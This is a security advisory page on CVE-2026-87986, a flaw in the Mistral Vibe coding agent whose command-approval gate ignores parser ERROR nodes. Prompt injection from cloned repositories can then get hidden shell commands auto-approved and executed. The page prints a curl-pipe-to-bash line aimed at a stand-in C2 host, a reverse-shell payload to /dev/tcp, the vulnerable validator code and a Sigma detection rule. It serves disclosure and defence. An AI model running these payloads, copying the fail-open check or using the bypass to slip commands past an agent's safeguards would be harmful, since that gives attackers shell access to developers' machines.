Skip to content
Hermes Codex

CVE-2026-87986: Mistral Vibe Command Injection via Parser Syntax Error Node Bypass

HERMES

HERMES THREAT SCORE & PARSER MISMATCH ARBITRARY EXECUTION

Target: Mistral Vibe Coding Agent (mistral-vibe)
Confidence: 99%
98 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 19 / 20
Weaponization 20 / 20
Exposure 19 / 20
Prevalence 18 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
⚖️ Divergence & Operational Rationale

CVSS v4.0 evaluates CVE-2026-87986 at a maximum 10.0 (Critical, CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H). The Hermes Threat Score assesses this vulnerability at 98 (CRITICAL). This reflects parser differential vulnerabilities where grammar edge-cases generate AST ERROR nodes that are silently disregarded by security gates while executing legitimately in the underlying shell.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-87986: Mistral Vibe Command Injection via Parser Syntax Error Node BypassVULNERABILITY

Connected Nodes: 4
Active Relationships (Outgoing)
→ affectsPRODUCTMistral Vibe Coding Agent
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Mistral Vibe Coding Agent documented in Hermes dossier.”

Supporting Verified Evidence:
→ exploitsAGENTIC ATTACK_PATTERNAAP-002: Indirect Context Injection
92% VERY_HIGH

Adversary embeds covert payload instructions into retrieved external data (web pages, repositories, emails) that subvert model planning when parsed by autonomous agents.

🔍 Why is this related? (Evidence & Provenance)

“CVE-2026-87986 weaponizes the agentic attack pattern formalized under AAP-002.”

Supporting Verified Evidence:
→ exploitsAGENTIC ATTACK_PATTERNAAP-003: Tool Parameter Tampering & Built-in Bypass
92% VERY_HIGH

Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.

🔍 Why is this related? (Evidence & Provenance)

“CVE-2026-87986 weaponizes the agentic attack pattern formalized under AAP-003.”

Supporting Verified Evidence:
→ exploitsAGENTIC ATTACK_PATTERNAAP-001: Direct System Prompt Override
92% VERY_HIGH

Adversary injects explicit formatting tags or role-inversion prompts directly into user input to strip system instructions and escape developer-enforced guardrails.

🔍 Why is this related? (Evidence & Provenance)

“CVE-2026-87986 weaponizes the agentic attack pattern formalized under AAP-001.”

Supporting Verified Evidence:

1. Technical Context & Affected Software Matrix

Section titled “1. Technical Context & Affected Software Matrix”
ParameterTechnical SpecificationThreat Intelligence Context
CVE IdentifierCVE-2026-87986Discovered by Esteban Tonglet (HiddenLayer)
Common Weakness EnumerationCWE-228 (Syntactically Invalid Structure Handling), CWE-78 (Command Injection)Disregard of parser ERROR nodes during security evaluation
Attack VectorIndirect Prompt Injection (AAP-002) / AAP-003Cloned repositories, malicious issues, PR descriptions
Vulnerable ComponentAST traversal validator (vibe syntax gate)Ignores AST subtrees rooted in ERROR nodes
Affected Versionsmistral-vibe < 1.1.0All default installations
Remediated Versionvibe >= 1.1.0Immediately rejects or prompts on any AST ERROR node
Systemic ImpactUnauthenticated full remote code execution on developer hostComplete security perimeter collapse

2. In-Depth Technical Decomposition & Root Cause

Section titled “2. In-Depth Technical Decomposition & Root Cause”

A. Parser Differential Vulnerabilities (Tree-Sitter vs. Bash)

Section titled “A. Parser Differential Vulnerabilities (Tree-Sitter vs. Bash)”

Grammar definitions in static parsing libraries like tree-sitter-bash rarely achieve 100% equivalence with production shell implementations. When tree-sitter encounters an unexpected character sequence, it enters error-recovery mode, producing an ERROR AST node for the segment:

program
 ├── command: "echo"
 │    └── argument: "hello"
 └── ERROR   <--- tree-sitter-bash fails to parse construct cleanly
      └── [malicious embedded shell command: $(curl http://c2.example/sh | bash)]

B. Fail-Open Error Handling in Vibe

Section titled “B. Fail-Open Error Handling in Vibe”

In Mistral Vibe pre-1.1.0, the validator inspected the command tree by iterating over expected node types:

# Vulnerable AST validation logic in Mistral Vibe (pre-1.1.0)
def inspect_ast_node(node):
    if node.type == "command":
        check_command_allowed(node)
    elif node.type in ("word", "string"):
        check_path_arguments(node)
    # FLAW: If node.type == "ERROR", it does NOT fail closed!
    # The validator simply skips the node or continues to sibling nodes!

Because the security logic did not implement a strict fail-closed policy, the presence of an ERROR node did not abort the command or force an interactive user prompt. Instead, the validation engine saw only the preceding or adjacent harmless command (e.g. echo hello), validated it as safe, and auto-approved the entire command string for Bash execution.

3. Attack Flow & Weaponization Scenarios

Section titled “3. Attack Flow & Weaponization Scenarios”
sequenceDiagram
    autonumber
    actor Attacker as Malicious Repo Author
    participant Agent as Mistral Vibe Agent
    participant TS as tree-sitter-bash Parser
    participant Gate as Vibe Security Gate
    participant Bash as Host Shell


    Attacker->>Agent: Prompt injection with crafted syntax anomaly (AAP-002)
    Agent->>TS: Parses complex malformed command payload
    TS-->>Gate: Emits AST with 'ERROR' node containing subshell payload
    Gate->>Gate: Evaluates AST: ignores 'ERROR' node content
    Note over Gate: Seen commands: 'echo' (SAFE). Auto-approved!
    Gate->>Bash: Executes raw string
    Bash->>Bash: Bash parses and executes full command including subshell
    Bash->>Attacker: Payloads execute with developer user privileges!

Weaponized Payloads

Section titled “Weaponized Payloads”

By crafting syntactic constructs that confuse tree-sitter-bash’s lookahead while remaining valid in GNU Bash, an attacker can embed arbitrary commands:

Terminal window
# Crafted construct triggering an ERROR node in tree-sitter-bash:
echo "test" ; { (:; id; /bin/bash -i >& /dev/tcp/10.0.0.1/1337 0>&1); }

The coding agent executes the command without human intervention, leading to full shell access.

4. Detection, Threat Hunting & DFIR Playbooks

Section titled “4. Detection, Threat Hunting & DFIR Playbooks”

A. Sigma Detection Rule

Section titled “A. Sigma Detection Rule”
title: Mistral Vibe Parser Error Node Shell Injection
id: 87986001-vibe-parser-error-rce
status: experimental
description: Detects unusual shell compound commands executed by Mistral Vibe that exploit parser differential bypasses.
references:
  - https://blog.marcfredericgomez.fr/six-contournements-de-permissions-sur-mistral-vibe/
author: Hermes Codex Cyber Defense Team
logsource:
  category: process_creation
  product: linux
detection:
  selection_vibe:
    CommandLine|contains: 'vibe'
  selection_anomaly:
    CommandLine|re: '\{\s*\(\s*[:;].*id|whoami|curl|bash\s+-i'
  condition: selection_vibe and selection_anomaly
level: critical

5. Defense, Hardening & Remediation

Section titled “5. Defense, Hardening & Remediation”
  1. Apply Official Patch: Upgrade to vibe >= 1.1.0. The patched validator adopts a strict fail-closed architecture: any parse tree containing an ERROR node immediately triggers a mandatory user confirmation prompt.
  2. Grammar Parity Testing: When using static AST parsers for security-critical access control, verify grammar coverage against fuzzing corpuses.
  3. Execution Sandboxing: Run coding agents inside rootless containers or gVisor sandboxes to mitigate command injection risks.
  4. Deploy AgentThreat Studio Protections: Employ behavioral runtime monitors from AgentThreat Studio covering AAP-001: Context Boundary Violation and AAP-003: Tool Parameter Tampering.

6. Related Vulnerabilities & Cross-References

Section titled “6. Related Vulnerabilities & Cross-References”